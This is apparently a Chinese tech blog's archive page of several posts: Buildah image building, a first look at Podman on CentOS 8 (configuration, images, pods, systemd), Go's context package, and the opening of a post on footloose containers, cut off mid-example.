 $ buildah commit centos-working-container  yiran-httpd
Getting image source signatures
Copying blob 9e607bb861a7 skipped: already exists
Copying blob a6d6842abbd9 done
Copying config daa1399f36 done
Writing manifest to image destination
Storing signatures
bdaa1399f36944ff74e6fe20c5b346aece51f5edb9c47907027ac4d877ccf179c
root@yiran-30-250:/tmp/buildah
 $ buildah images
REPOSITORY                 TAG      IMAGE ID       CREATED          SIZE
localhost/yiran-httpd      latest   daa1399f3694   7 seconds ago    277 MB
localhost/yiran            latest   ebaeed04e236   13 minutes ago   227 MB
<none>                     <none>   975b7fcdfccc   13 minutes ago   227 MB
<none>                     <none>   8cafad8a1ab0   15 minutes ago   227 MB
docker.io/library/centos   latest   0f3e07c0138f   2 weeks ago      227 MB
root@yiran-30-250:/tmp/buildah
 $ podman images
REPOSITORY                 TAG      IMAGE ID       CREATED          SIZE
localhost/yiran-httpd      latest   daa1399f3694   15 seconds ago   277 MB
localhost/yiran            latest   ebaeed04e236   13 minutes ago   227 MB
<none>                     <none>   975b7fcdfccc   13 minutes ago   227 MB
<none>                     <none>   8cafad8a1ab0   15 minutes ago   227 MB
docker.io/library/centos   latest   0f3e07c0138f   2 weeks ago      227 MB
root@yiran-30-250:/tmp/buildah
 $ podman run -p 8080:80 localhost/yiran-httpd:latest
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 10.88.0.5. Set the 'ServerName' directive globally to suppress this message

上述操作解释如下：

buildah from 命令创建一个新的处于运行中的容器
buildah run <container id> 在容器中执行命令
echo yiran > index.html 在主机上执行的命令，生成文件，该文件保存在主机上
buildah copy 将主机上的文件拷贝到容器中，等同于 Dockerfile 中的 COPY
buildah config --entrypoint 给容器配置 entrypoint，等同于 Dockerfile 中的 ENTRYPOINT
buildah commit 将该容器制作为镜像，保存在 /var/lib/containers/ 下

挂载镜像

buildah 提供了 buildah mount 命令，可以将运行中容器挂载到 Host 的文件系统上，我们可以直接在 Host 上对容器内文件进行操作：

root@yiran-30-250:/tmp/buildah
 $ buildah images
REPOSITORY                  TAG      IMAGE ID       CREATED          SIZE
localhost/yiran-httpd       latest   daa1399f3694   25 minutes ago   277 MB
localhost/yiran             latest   ebaeed04e236   39 minutes ago   227 MB
docker.io/library/centos    latest   0f3e07c0138f   2 weeks ago      227 MB
root@yiran-30-250:/tmp/buildah
 $ buildah from localhost/yiran-httpd
yiran-httpd-working-container
root@yiran-30-250:/tmp/buildah
 $ buildah mount yiran-httpd-working-container
/var/lib/containers/storage/overlay/75d42aaf05bfb855d59c7ae32ac138acd17c6a40f56cd541b16bffad6c720e9b/merged
root@yiran-30-250:/tmp/buildah
 $ cat /var/lib/containers/storage/overlay/75d42aaf05bfb855d59c7ae32ac138acd17c6a40f56cd541b16bffad6c720e9b/merged/var/www/html/index
Hi yiran

我们除了可以直接操作容器内文件，也可以在 Host 上给容器安装一些软件，如 dnf、make 等工具：

1 2	dnf install --installroot=<container mountpoint> make install DESTDIR=<container mountpoint>

这里面临一个问题：如果在构建镜像的时候依赖于我们 Host 的环境，那么就无法达到我们想要的构建环境隔离了。这个问题可以通过使用多个容器共同构建来解决。

假设如果我们需要 gcc 环境，那么我们可以准备两个容器：其中一个包含 gcc ，并用它来编译，编译完成后在另一个纯净的容器中安装，最终只需要 commit 纯净的容器就可以。

这里的好处是 buildah 方式构建镜像，不会像 Dockerfile 一样包含很多层，只有执行 buildah commit 的时候产生一层镜像文件，我们也不需要考虑清理编译环境等问题。

Why

了解了基本的使用，那么我们需要知道为什么要使用 Buildah。

首先如果不使用 Buildah，对于整个容器工具链来说是完全 Ok 的，哪怕是不使用 Docker，仅凭 podman build 命令配合 Dockerfile 也是足够的，我们可以构建我们所需要的任意镜像。

使用 Buildah 能带来什么好处呢？我理解是我们可以通过更多的手段去构建镜像，不局限于 Dockerfile 中有限的关键字，我们有了更多的可能性，这就足够了。无论是 Buildah 原生命令还是通过 buildah mount 挂载到本地文件系统，都让我们可以更舒服的构建镜像，我们从维护一个 Dockerfile 转变为维护一个 Shell 脚本。

当然无论使用哪种方式，我们都需要知道 OCI 镜像标准是什么，这是最基本的。

Shell 脚本示例：

#!/usr/bin/env bash

set -o errexit

# Create a container
container=$(buildah from fedora:28)
mountpoint=$(buildah mount $container)

buildah config --label maintainer="yiran <zdyxry@gmail.com>" $container

curl -sSL http://ftpmirror.gnu.org/hello/hello-2.10.tar.gz \
     -o /tmp/hello-2.10.tar.gz
tar xvzf src/hello-2.10.tar.gz -C ${mountpoint}/opt

pushd ${mountpoint}/opt/hello-2.10
./configure
make
make install DESTDIR=${mountpoint}
popd

chroot $mountpoint bash -c "/usr/local/bin/hello -v"

buildah config --entrypoint "/usr/local/bin/hello" $container
buildah commit --format docker $container hello
buildah unmount $container

参考链接

Podman 初次体验

发表于 2019-10-12 |

背景

CentOS8 在9月24号正式 Release 了，比 RHEL8 要推迟了4个月。这次的更新感觉比 CentOS7 的更新要来的重要，内核更新到了4.x，网络管理彻底替换了 network.service，防火墙管理等等，还包括去除了 Docker 作为默认的容器化管理工具，使用 Podman、Buildah、Skopeo 进行了替换，这里来体验下 Podman。

容器工具体验系列：

本篇文章所有环境基于 CentOS8。

Podman

为啥不用 Docker 了？我个人觉得 Docker 目前使用上最大的问题就是需要运行一个守护进程，虽然需要 root 用户也是一个问题，但是对于我个人来说还好。随着 K8S 定义 CRI 标准，且 Docker 的稳定性一直是个问题（虽然最近有在往好的趋势发展），但越来越多人使用 CRI-O 来替代 Docker，Docker 在被大家所抛弃（- -

Podman 创建的容器不需要守护进程，且可以用普通用户创建容器。Podman 中的大部分命令的使用方式与 Docker 相同，可以看左 alias docker=podman 。

Podman 的缺点：

仅在 Linux 下支持，无法像 Docker 一样支持 Windows 和 MacOS
缺少 docker-compose 工具替代品，哪怕有 k8s Pod 概念（虽然有 podman-compose，但是他还没有release 1.0版本，使用需谨慎
更新频繁（使用这类工具是有些心累的。。

安装

Podman 可以直接使用 dnf 继续安装，需要注意的是，在 CentOS 中 Podman 依赖于 containers-common，这里会附带很多配置信息到 /etc/containers，后续会用到：

yiran@yiran-centos8:~ 
 $ sudo dnf install podman                      
Last metadata expiration check: 0:03:31 ago on Wed 02 Oct 2019 11:57:25 AM CST.
Package podman-1.0.0-2.git921f98f.module_el8.0.0+58+91b614e7.x86_64 is already installed.
Dependencies resolved.
Nothing to do.
Complete!
yiran@yiran-centos8:~ 
 $ dnf info podman        
Installed Packages
Name         : podman
Version      : 1.0.0
Release      : 2.git921f98f.module_el8.0.0+58+91b614e7
Arch         : x86_64
Size         : 37 M
Source       : podman-1.0.0-2.git921f98f.module_el8.0.0+58+91b614e7.src.rpm
Repo         : @System
From repo    : AppStream
Summary      : Manage Pods, Containers and Container Images
URL          : https://github.com/containers/libpod
License      : ASL 2.0
Description  : Manage Pods, Containers and Container Images
             : libpod provides a library for applications looking to use
             : the Container Pod concept popularized by Kubernetes.

配置

安装完成后，来看下 Podman RPM 中附带了些什么文件：

yiran@yiran-centos8:~ 
 $ rpm -ql podman  |grep -v '/usr/share/man/'  # 去除 man 手册中内容
/etc/cni/net.d/87-podman-bridge.conflist
/usr/bin/podman
/usr/lib/.build-id
/usr/lib/.build-id/37
/usr/lib/.build-id/37/e7f04d352e5dbde603e9701baedb0b1be6bc37
/usr/lib/.build-id/9a
/usr/lib/.build-id/9a/2b43332ca5756f9e2a086bae9b953009ef5a37
/usr/lib/systemd/system/io.podman.service
/usr/lib/systemd/system/io.podman.socket
/usr/lib/tmpfiles.d/podman.conf
/usr/libexec/podman/conmon
/usr/share/bash-completion/completions/podman
/usr/share/containers/libpod.conf
/usr/share/licenses/podman
/usr/share/licenses/podman/LICENSE

可以看到只有一个配置文件是在 /etc/cni 路径下的，与 Bridge 的配置有关：

yiran@yiran-centos8:~ 
 $ cat /etc/cni/net.d/87-podman-bridge.conflist
{
    "cniVersion": "0.3.0",
    "name": "podman",
    "plugins": [
      {
        "type": "bridge",
        "bridge": "cni0",
        "isGateway": true,
        "ipMasq": true,
        "ipam": {
            "type": "host-local",
            "subnet": "10.88.0.0/16",
            "routes": [
                { "dst": "0.0.0.0/0" }
            ]
        }
      },
      {
        "type": "portmap",
        "capabilities": {
          "portMappings": true
        }
      }
    ]
}

在上面我们有提到，Podman 依赖的 containers-common RPM 中包含了很多配置文件，我们一个一个的来看一下：

registries.conf

/etc/containers/registries.conf 用于保存 registries 相关配置：

yiran@yiran-centos8:~ 
 $ cat /etc/containers/registries.conf         
# This is a system-wide configuration file used to
# keep track of registries for various container backends.
# It adheres to TOML format and does not support recursive
# lists of registries.

# The default location for this configuration file is /etc/containers/registries.conf.

# The only valid categories are: 'registries.search', 'registries.insecure', 
# and 'registries.block'.

[registries.search]
registries = ['registry.redhat.io', 'quay.io', 'docker.io']

# If you need to access insecure registries, add the registry's fully-qualified name.
# An insecure registry is one that does not have a valid SSL certificate or only does HTTP.
[registries.insecure]
registries = []


# If you need to block pull access from a registry, uncomment the section below
# and add the registries fully-qualified name.
#
# Docker only
[registries.block]
registries = []

mounts.conf

/usr/share/containers/mounts.conf 在执行 podman run 或者 podman build 命令时自动挂载的路径，该路径只会在容器运行时挂载，不会提交到容器镜像中。

1
2
3

yiran@yiran-centos8:~ 
 $ cat /usr/share/containers/mounts.conf                               
/usr/share/rhel/secrets:/run/secrets

seccomp.json

/usr/share/containers/seccomp.json 是容器内允许的 seccomp 规则白名单。 seccomp（secure computing）是一种安全保护机制，一般情况下，程序可以使用所有的 syscall，但是为了避免安全问题发生，通常会指定相应的规则来保证。

yiran@yiran-centos8:~ 
 $ cat /usr/share/containers/seccomp.json

{
	"defaultAction": "SCMP_ACT_ERRNO",
	"archMap": [...],
	"syscalls": [...]
}

policy.json

/etc/containers/policy.json 证书安全相关配置：

yiran@yiran-centos8:~ 
 $ cat /etc/containers/policy.json      
{
    "default": [
        {
            "type": "insecureAcceptAnything"
        }
    ],
    "transports":
        {
            "docker-daemon":
                {
                    "": [{"type":"insecureAcceptAnything"}]
                }
        }
}

使用

镜像

构建

yiran@yiran-centos8:~/podman/hello 
 $ pwd                                                                                                                                  1 ↵
/home/yiran/podman/hello
yiran@yiran-centos8:~/podman/hello 
 $ cat Dockerfile 
FROM docker.io/library/centos:latest

RUN echo 'hello'
yiran@yiran-centos8:~/podman/hello 
 $ podman build -t hello:1.0 .    
STEP 1: FROM docker.io/library/centos:latest
STEP 2: RUN echo 'hello'
hello
--> 895ce449f0b3f1f2d8a0d2dca280cb46f4c69bb2824c93bb0e72eb49987c9050
STEP 3: COMMIT hello:1.0
--> 618f931bc244f2eaff53d9f2bcb1df97c5ddac501088d5919450a57f995173af
yiran@yiran-centos8:~/podman/hello 
 $ podman images               
REPOSITORY                             TAG      IMAGE ID       CREATED          SIZE
localhost/hello                        1.0      618f931bc244   8 seconds ago    210 MB
<none>                                 <none>   895ce449f0b3   13 seconds ago   210 MB
docker.io/library/nginx                latest   f949e7d76d63   2 weeks ago      130 MB
docker.io/library/centos               latest   67fa590cfc1c   7 weeks ago      210 MB
registry.fedoraproject.org/f27/httpd   latest   18f01f6f77ef   15 months ago    426 MB

搜索

yiran@yiran-centos8:~ 
 $ podman search mongo |head -n 5
INDEX       NAME                                                 DESCRIPTION                                       STARS   OFFICIAL   AUTOMATED
quay.io     quay.io/hellofresh/delete-old-ahoy-mongo-dbs                                                           0                  
quay.io     quay.io/ukhomeofficedigital/mongo-34                                                                   0                  
quay.io     quay.io/utilitywarehouse/mongo-burs                                                                    0                  
quay.io     quay.io/ukhomeofficedigital/mongo                                                                      0

拉取

yiran@yiran-centos8:~ 
 $ podman image pull nginx
Trying to pull registry.redhat.io/nginx:latest...Failed
Trying to pull quay.io/nginx:latest...Failed
Trying to pull docker.io/nginx:latest...Getting image source signatures
Copying blob b8f262c62ec6: 25.84 MiB / 25.84 MiB [=========================] 13s
Copying blob e9218e8f93b1: 22.48 MiB / 22.48 MiB [=========================] 13s
Copying blob 7acba7289aa3: 202 B / 202 B [=================================] 13s
Copying config f949e7d76d63: 6.51 KiB / 6.51 KiB [==========================] 0s
Writing manifest to image destination
Storing signatures
f949e7d76d63befffc8eec2cbf8a6f509780f96fb3bacbdc24068d594a77f043

除了像 Docker 一样从网络拉取镜像，Podman 为了方便用户从 Docker 迁移过来，Podman 支持从本地的 docker daemon 中直接拉取镜像，如果没有 domain 的话，目前会自动补全 docker.io/library/ 前缀。

yiran@yiran-centos8:~ 
 $ docker images |grep yiran
harbor.yiran.com/yiran_tuna/leader-elector                                   0.5                           129c97fdb20d        3 years ago         169MB
yiran@yiran-centos8:~ 
 $ podman pull docker-daemon:harbor.yiran.com/yiran_tuna/leader-elector:0.5
Getting image source signatures
Copying blob bf87964bccfd done
Copying blob 5f70bf18a086 done
Copying blob 3efb68385a82 done
Copying blob 5f70bf18a086 done
Copying blob 42755cf4ee95 done
Copying blob ce31f2e01592 done
Copying blob 5f70bf18a086 skipped: already exists
Copying config 129c97fdb2 done
Writing manifest to image destination
Storing signatures
129c97fdb20d5fb7a0c569994f710c2b0d5292219f189f4f66c313f7bed9f434

看上去一切都很美好，但是要注意下面这种错误：

ERRO[0005] Error pulling image ref //testimg:latest: Error committing the finished image: error adding layer with blob "sha256:caed8f108bf6721dc2709407ecad964c83a31c8008a6a21826aa4ab995df5502": Error processing tar file(exit status 1): there might not be enough IDs available in the namespace (requested 4000000:4000000 for /testfile): lchown /testfile: invalid argument

因为 Podman 可以用普通用户运行容器，平时操作时也都是普通用户，这时候我们就面临一个UID & GID 映射的问题，默认的 subuid 的上限是 65536，这个可以自己做相应的调整：

yiran@yiran-centos8:~/podman/hello 
 $ cat /etc/subuid
yiran:100000:65536
yiran@yiran-centos8:~/podman/hello 
 $ cat /etc/subgid
yiran:100000:65536

不只是在镜像拉取过程中，在操作文件时，也需要关注 UID & GID 的问题，这个是之前使用 Docker 忽略的点。

列出

yiran@yiran-centos8:~ 
 $ podman images
REPOSITORY                 TAG      IMAGE ID       CREATED       SIZE
docker.io/library/nginx    latest   f949e7d76d63   7 days ago    130 MB
docker.io/library/centos   latest   67fa590cfc1c   6 weeks ago   210 MB

检查

yiran@yiran-centos8:~ 
 $ podman image inspect docker.io/library/nginx |head -n 10
[
    {
        "Id": "f949e7d76d63befffc8eec2cbf8a6f509780f96fb3bacbdc24068d594a77f043",
        "Digest": "sha256:066edc156bcada86155fd80ae03667cf3811c499df73815a2b76e43755ebbc76",
        "RepoTags": [
            "docker.io/library/nginx:latest"
        ],
        "RepoDigests": [
            "docker.io/library/nginx@sha256:066edc156bcada86155fd80ae03667cf3811c499df73815a2b76e43755ebbc76"
        ],

删除

yiran@yiran-centos8:~ 
 $ podman image rm docker.io/library/nginx                 
f949e7d76d63befffc8eec2cbf8a6f509780f96fb3bacbdc24068d594a77f043
yiran@yiran-centos8:~ 
 $ podman images                          
REPOSITORY                 TAG      IMAGE ID       CREATED       SIZE
docker.io/library/centos   latest   67fa590cfc1c   6 weeks ago   210 MB

容器

运行

yiran@yiran-centos8:~ 
 $ podman images                             
REPOSITORY                 TAG      IMAGE ID       CREATED       SIZE
docker.io/library/centos   latest   67fa590cfc1c   6 weeks ago   210 MB
yiran@yiran-centos8:~ 
 $ podman run -it docker.io/library/centos sh
sh-4.2# cat /etc/centos-release
CentOS Linux release 7.6.1810 (Core) 
sh-4.2# exit

停止

yiran@yiran-centos8:~ 
 $ sudo podman ps                                                                                               
[sudo] password for yiran: 
CONTAINER ID  IMAGE                                        COMMAND               CREATED        STATUS            PORTS                   NAMES
af3d9001ad32  registry.fedoraproject.org/f27/httpd:latest  container-entrypo...  8 minutes ago  Up 8 minutes ago  0.0.0.0:8080->8080/tcp  elastic_goldwasser
yiran@yiran-centos8:~ 
 $ sudo podman stop af3d9001ad32
af3d9001ad3211f5503742ca3cca8ddca542e27d7b9e54099c56ab7e04778503
yiran@yiran-centos8:~ 
 $ sudo podman ps               
CONTAINER ID  IMAGE  COMMAND  CREATED  STATUS  PORTS  NAMES

删除

yiran@yiran-centos8:~ 
 $ sudo podman ps -a
CONTAINER ID  IMAGE                                        COMMAND               CREATED        STATUS                     PORTS                   NAMES
af3d9001ad32  registry.fedoraproject.org/f27/httpd:latest  container-entrypo...  8 minutes ago  Exited (0) 29 seconds ago  0.0.0.0:8080->8080/tcp  elastic_goldwasser
yiran@yiran-centos8:~ 
 $ sudo podman rm af3d9001ad32                                                                                       
af3d9001ad3211f5503742ca3cca8ddca542e27d7b9e54099c56ab7e04778503
yiran@yiran-centos8:~ 
 $ sudo podman ps -a          
CONTAINER ID  IMAGE  COMMAND  CREATED  STATUS  PORTS  NAMES

checkpoint/restore

Podman 提供了类似于 git 的功能，能够对 container 进行 checkpoint(commit)，并且可以 restore(checkout)，虽然 demo 视频很美好，但是我本地想通过快照（虚拟化功能）的方式来验证，却发现因为 CRIU 的版本过低不支持该功能，等后续深度使用后再研究下这个功能的原理。

健康检查

Podman 1.2.0 版本提供了 healthcheck 功能，我们在运行容器时，可以通过参数 --healthcheck-command 来指定健康检查的方式，然后通过 podman healthcheck 命令来检测：

$ sudo podman run -dt --name hc1 --healthcheck-command 'CMD-SHELL curl http://localhost || exit 1' --healthcheck-interval=0 quay.io/libpod/alpine_nginx:latest
d25ee6faaf6e5e12c09e734b1ac675385fe4d4e8b52504dd01a60e1b726e3edb
$ sudo podman healthcheck run hc1
Healthy
$ echo $?
0

--healthcheck-command 命令是在容器内执行的，所以我们需要保证容器镜像中存在相应命令； --healthcheck-interval 如果设置为 0 则不自动检查。

systemd

由于 Podman 没有 daemon ，所以没办法像 docker 一样通过指定参数 --restart=always 在 docker 进程启动时自动拉起镜像。 Podman 通过 systemd 来支持该功能。

首先，我们需要准备一个已经可以正常运行的容器：

yiran@yiran-centos8:~ 
 $ podman ps 
CONTAINER ID  IMAGE                                  COMMAND               CREATED                 STATUS                     PORTS  NAMES
cf6b656d4ab0  docker.io/library/envoy:latest  /usr/bin/mongod -...  Less than a second ago  Up Less than a second ago         smtx-mongodb

编写 systemd 配置文件，通常默认路径为： /usr/lib/systemd/system/

yiran@yiran-centos8:~ 
 $ cat /usr/lib/systemd/system/envoy.service 
[Unit]
After=network.target

[Service]
Restart=always
ExecStart=/usr/bin/podman start -a envoy
ExecStop=/usr/bin/podman stop -t 10 envoy

[Install]
WantedBy=multi-user.target

编写完成后，我们需要执行下 systemctl daemon-reload 重新加载一次配置，然后就可以通过 systemctl 来控制容器的启停、开机自启动了。

yiran@yiran-centos8:~ 
 $ systemctl start envoy
yiran@yiran-centos8:~ 
 $ systemctl enable envoy
Created symlink from /etc/systemd/system/multi-user.target.wants/envoy.service to /usr/lib/systemd/system/envoy.service.
[root@node99 16:28:12 ~]$systemctl status envoy
● envoy.service
   Loaded: loaded (/usr/lib/systemd/system/envoy.service; enabled; vendor preset: disabled)
  Drop-In: /etc/systemd/system/envoy.service.d
           └─cgroup.conf
   Active: active (running) since Sat 2019-10-12 20:09:34 CST; 3h 41min left
 Main PID: 47684 (podman)
   CGroup: /system.slice/system-zbs.slice/system-zbs-others.slice/envoy.service
           └─47684 /usr/bin/podman start -a envoy

Pod

创建及使用

Podman 除了像 Docker 一样提供基本的容器管理，还提供了 K8S 中的 Pod 功能（得对的起名字啊）。
对于最终要运行在 k8s 环境的同学来说，Podman 非常适合，可以很大的减少环境不通导致的工作量：Podman 的 YAML 和 k8s pod yaml 文件格式是兼容的。

首先，我们来创建一个 Pod：

1
2
3

yiran@yiran-centos8:~ 
 $ sudo podman pod create --name postgresql -p 5432 -p 9187
error adding Infra Container: unable to pull k8s.gcr.io/pause:3.1: unable to pull image: Error determining manifest MIME type for docker://k8s.gcr.io/pause:3.1: pinging docker registry returned: Get https://k8s.gcr.io/v2/: dial tcp 64.233.189.82:443: i/o timeout

了解 K8S Pod 的同学应该知道 google_containers/pause容器，它主要的作用是 namespace 控制和启动 init 进程，即 PID 为1。在 Podman 中也是如此，这里需要 pull pause 镜像，但是喜闻乐见的 timeout。。。。

（此处开始折腾网络）

我们重新来走一次 demo ：

yiran@yiran-centos8:~ 
 $ sudo podman pod create --name postgresql -p 5432 -p 9187  # 创建 Pod，并映射端口
17020cd16ae689f5d4e0f17468c67c3f9d3b8aa424d9e463dc8b187bb80bd328
yiran@yiran-centos8:~ 
 $ sudo podman pod ls                                      
POD ID         NAME         STATUS    CREATED         # OF CONTAINERS   INFRA ID
17020cd16ae6   postgresql   Running   7 seconds ago   1                 5f38e2d70484
yiran@yiran-centos8:~ 
 $ sudo podman pod ps 
POD ID         NAME         STATUS    CREATED          # OF CONTAINERS   INFRA ID
17020cd16ae6   postgresql   Running   23 seconds ago   1                 5f38e2d70484
yiran@yiran-centos8:~ 
 $ sudo podman run -d --pod postgresql -e POSTGRES_PASSWORD=password postgres:latest # 运行 postgresql
bb00b1087b3e86f5f8915deb9a826875f4a1f063b30ef6eb743c3ad6b155a823
yiran@yiran-centos8:~ 
 $ sudo podman run -d --pod postgresql -e DATA_SOURCE_NAME="postgresql://postgres:password@localhost:5432/postgres?sslmode=disable"  wrouesnel/postgres_exporter # 运行 postgres exporter
f1197be2aa8be6169e0a0cf3b235b951dafdc4e98afe6753c661a9871038c17c

首先我们创建了一个 Pod，端口映射是在 Pod 这个级别配置的，然后在这个 Pod 中，我们创建了两个 container，分别是：postgres 和 postgres_exporter ，其中 postgres_exporter 主要是暴露 metrics 用于 Prometheus 抓取进行监控。

我们可以通过 curl 相应端口来验证是否正常工作：

iran@yiran-centos8:~ 
 $ sudo podman ps -a              
CONTAINER ID  IMAGE                                                          COMMAND               CREATED        STATUS            PORTS                                           NAMES
f1197be2aa8b  docker.io/wrouesnel/postgres_exporter:latest                   /postgres_exporte...  4 minutes ago  Up 4 minutes ago                                                  quizzical_mcclintock
bb00b1087b3e  docker.io/library/postgres:latest                              docker-entrypoint...  4 minutes ago  Up 4 minutes ago                                                  kind_spence
5f38e2d70484  registry.cn-hangzhou.aliyuncs.com/google_containers/pause:3.1                        5 minutes ago  Up 5 minutes ago  0.0.0.0:5432->5432/tcp, 0.0.0.0:9187->9187/tcp  17020cd16ae6-infra
yiran@yiran-centos8:~ 
 $ curl localhost:9187/metrics                                                                                                                                 
# HELP go_gc_duration_seconds A summary of the GC invocation durations.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 0
go_gc_duration_seconds{quantile="0.25"} 0
go_gc_duration_seconds{quantile="0.5"} 0
go_gc_duration_seconds{quantile="0.75"} 0
go_gc_duration_seconds{quantile="1"} 0
go_gc_duration_seconds_sum 0

可以看到已经正确的获取到了相应 metrics 数值，可以通过 podman pod top 来获取当前进程状态：

yiran@yiran-centos8:~ 
 $ sudo podman pod top postgresql             
USER                PID   PPID   %CPU    ELAPSED           TTY   TIME   COMMAND
0                   1     0      0.000   6m15.74147022s    ?     0s     /pause 
postgres            1     0      0.000   5m45.755275073s   ?     0s     postgres 
postgres            51    1      0.000   5m44.755304824s   ?     0s     postgres: checkpointer    
postgres            52    1      0.000   5m44.755329093s   ?     0s     postgres: background writer    
postgres            53    1      0.000   5m44.755350888s   ?     0s     postgres: walwriter    
postgres            54    1      0.000   5m44.75537351s    ?     0s     postgres: logical replication launcher    
postgres_exporter   1     0      0.000   5m34.767207535s   ?     0s     /postgres_exporter

在 Podman 中，可以简单的将 Pod 理解为 docker-compose 中的一组容器，并且可以通过 podman pod start/stop 来控制这组容器的启停：

yiran@yiran-centos8:~ 
 $ sudo podman pod stop postgresql                                                                      
17020cd16ae689f5d4e0f17468c67c3f9d3b8aa424d9e463dc8b187bb80bd328
yiran@yiran-centos8:~ 
 $ sudo podman pod ls              
POD ID         NAME         STATUS   CREATED         # OF CONTAINERS   INFRA ID
17020cd16ae6   postgresql   Exited   8 minutes ago   3                 5f38e2d70484
yiran@yiran-centos8:~ 
 $ sudo podman pod ps 
POD ID         NAME         STATUS   CREATED         # OF CONTAINERS   INFRA ID
17020cd16ae6   postgresql   Exited   8 minutes ago   3                 5f38e2d70484
yiran@yiran-centos8:~ 
 $ curl localhost:9187/metrics
curl: (7) Failed to connect to localhost port 9187: Connection refused
yiran@yiran-centos8:~ 
 $ sudo podman pod start postgresql                                                                                                                                                                            7 ↵
17020cd16ae689f5d4e0f17468c67c3f9d3b8aa424d9e463dc8b187bb80bd328
yiran@yiran-centos8:~ 
 $ curl localhost:9187/metrics      
# HELP go_gc_duration_seconds A summary of the GC invocation durations.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 0
go_gc_duration_seconds{quantile="0.25"} 0
go_gc_duration_seconds{quantile="0.5"} 0

k8s 联动

通过 podman generate 命令可以生成 k8s 可用的 YAML 文件：

020cd16ae689f5d4e0f17468c67c3f9d3b8aa424d9e463dc8b187bb80bd328
yiran@yiran-centos8:~ 
 $ sudo podman generate kube postgresql > postgresql.yaml
no matching entries in passwd file

嗯，又遇到了一个错误，在 Github 上有看到相关 issue，先忽略吧。

使用 podman play 命令可以直接创建完整的 Pod 及其所拥有的容器：

1	podman play kube postgresql.yaml

总结

如果从 Docker 迁移过来，有以下几点很纠结：

说好的 rootless，但是如果你想要进行端口映射，那么还是要老老实实 sudo 的
虽然 systemd 大法好，但是如果 container 直接被删除了，我要单独的管理 systemd service 配置文件（貌似可以通过 OCI hook 实现
更新真的太快了
…

很多同学都在说 学不动了，纠结归纠结，学还是要学的，说不定最后真香了呢。

上述所有功能示例都可以通过官方 Demo 项目运行：https://github.com/containers/Demos/blob/master/podman_cli/README.md。

参考链接

Golang context 使用

发表于 2019-09-30 |

背景

前段时间在写 Cluster API Provider 的时候，经常会使用 context 传递参数，当时只是按照其他项目中的方式快速的实现，并没有认真的了解 context 具体包含什么，为了解决什么问题，这次来聊一下。

P.S. 虽然写了一周的 Golang，但是对于标准库有什么还一无所知，找时间应该认真过一遍的。。

定义与使用

先看定义：

Package context defines the Context type, which carries deadlines, cancellation signals, and other request-scoped values across API boundaries and between processes.

当一个 goroutine 调用其他 goroutine，随着层级变多，我们想要在外层达到控制的效果
在必要场景下传递必需的数据

其中 Context 这个 interface 中定义了 4 个方法，具体如下：

type Context interface {
	Deadline() (deadline time.Time, ok bool)
	Done() <-chan struct{}
	Err() error
	Value(key interface{}) interface{}
}

在 context 包中实现了4个函数，平时也都是使用这些函数：

func WithCancel(parent Context) (ctx Context, cancel CancelFunc)
func WithDeadline(parent Context, d time.Time) (Context, CancelFunc)
func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc)
func WithValue(parent Context, key, val interface{}) Context

可以看到 Cancel,Deadline,Timeout 都会返回一个 CancelFunc 函数，哪怕我们设定的时间还没到，我们也可以直接使用 CancelFunc 去设置 Context。

在 context 使用上有官方文档，且有很多博主已经写过很详细的博客，这里只是列一个简单的例子：

package main

import (
	"context"
	"fmt"
	"time"
)

func main() {
	// Pass a context with a timeout to tell a blocking function that it
	// should abandon its work after the timeout elapses.
	ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
	defer cancel()

	select {
	case <-time.After(1 * time.Second): // 等待 1s
		fmt.Println("overslept")
	case <-ctx.Done():  // 只有当 Channel 关闭时才会返回非空，也就是到了设定的 Timeout 数值
		fmt.Println(ctx.Err()) // prints "context deadline exceeded"
	}

}

注意事项

不要把 Context 放到结构体中，以参数传递，在作为参数传递时，需要将其作为第一个参数传递
如果 Context 传递内容不确定，那么可以传递 context.Background() 或 context.TODO()，不要传递 nil
不建议使用 context.Value 传递数据
Context 是通过通知来达到控制目的
Context 并非是全局的，只查询自身及父context 的数据，同理在 Cancel 也是一样的

（可能存在的）问题

在搜索过程中，看到一篇博客提到了 context 的一些问题：

传播性
- 当我们有一个包含了100个函数的调用栈，当我们想要通过 context 来达到控制目的时，那么我们需要将 context 作为函数的第一个参数不断的传递下去。
什么时候使用 context.TODO ？
context.Value 不该用
- 非静态的
- 需要在指定功能上使用特定的 key/value
- 容易发生 key 冲突
效率低下
…

总结

虽然上面说了那么多，比如上面提到的不应该用 context.Value ，在 ClusterAPI 中有很多使用 context.Value 传值的地方，该用还是用嘛。

参考链接

像虚拟机一样运行容器

发表于 2019-09-19 |

背景

平时看过文章标题比较多的都是说“像容器一样运行虚拟机”，大家都想要有虚拟机的隔离性，又想要容器的便捷性，也有一些开源项目比如 Firecracker 或 KataContainer 在做。今天反过来，来看看如何“像虚拟机一样运行容器”。

为啥要把容器搞得像虚拟机一样呢？我平时用到容器比较多的地方就是在 CI 集成部分，通过 docker 快速搭建环境，进行单元测试或集成测试，测试完成后清理镜像，简单方便。但是在CD 部分，就有一点比较头疼的问题，就是调试。zouquan 同学之前在知乎上提了一个问题：容器化环境里如何方便的进行debug和测试？，回答中的一个总结很好的描述了这个问题的关键： 虽然我在本地开发，但我的应用就像在 k8s 里一样。

那怎么在容器中开发像是在本地一样呢？肯定不能每次改了代码都走一遍 build,push,deploy 的流程，上面问题的回答中给出的是借助各种工具来达成这样的效果，我不像要用那些奇奇怪怪的工作（学不动了），那么只能想办法把容器搞的跟虚拟机一样了。

最近看到了 weaveworks/footloose 项目，这个项目的简介就是我的最原始的需求：Containers that look like Virtual Machines。先来看看这个项目的示例（开源项目中examples 写的好真是上手快）。

功能示例

Ansible 远程控制

[root@yiran ansible]# footloose config create --replicas 1 # 指定 machine 副本数为 1
[root@yiran ansible]# footloose create                     # 创建目标资源
INFO[0000] Creating SSH key: cluster-key ...            
INFO[0000] Docker Image: quay.io/footloose/centos7:0.6.1 present locally 
INFO[0000] Creating machine: cluster-node0 ...          
INFO[0001] Machine cluster-node0 is already created...  
[root@yiran ansible]# cat ansible.cfg                      # 在 ansible 配置文件中指定 inventory 及连接参数
[defaults]
inventory=inventory.txt
remote_user=root
debug=no

[privilege_escalation]
become=no

[root@yiran ansible]# cat inventory.txt 
[all]
